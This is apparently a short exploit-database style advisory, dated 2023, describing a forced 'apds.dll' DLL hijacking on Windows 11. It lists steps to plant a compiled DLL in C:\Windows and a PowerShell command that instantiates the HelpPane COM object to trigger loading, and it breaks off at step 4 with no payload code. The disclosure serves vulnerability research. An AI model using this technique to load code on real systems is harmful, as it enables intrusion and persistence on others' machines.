#--------------------------------------------------------- # Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced) # Date: 2023-09-01 # Author: Moein Shahabi # Vendor: https://www.microsoft.com # Version: Windows 11 Pro 10.0.22621 # Tested on: Windows 11_x64 [eng] #--------------------------------------------------------- Description: HelpPane object allows us to force Windows 11 to DLL hijacking Instructions: 1. Compile dll 2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory 3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))" 4.
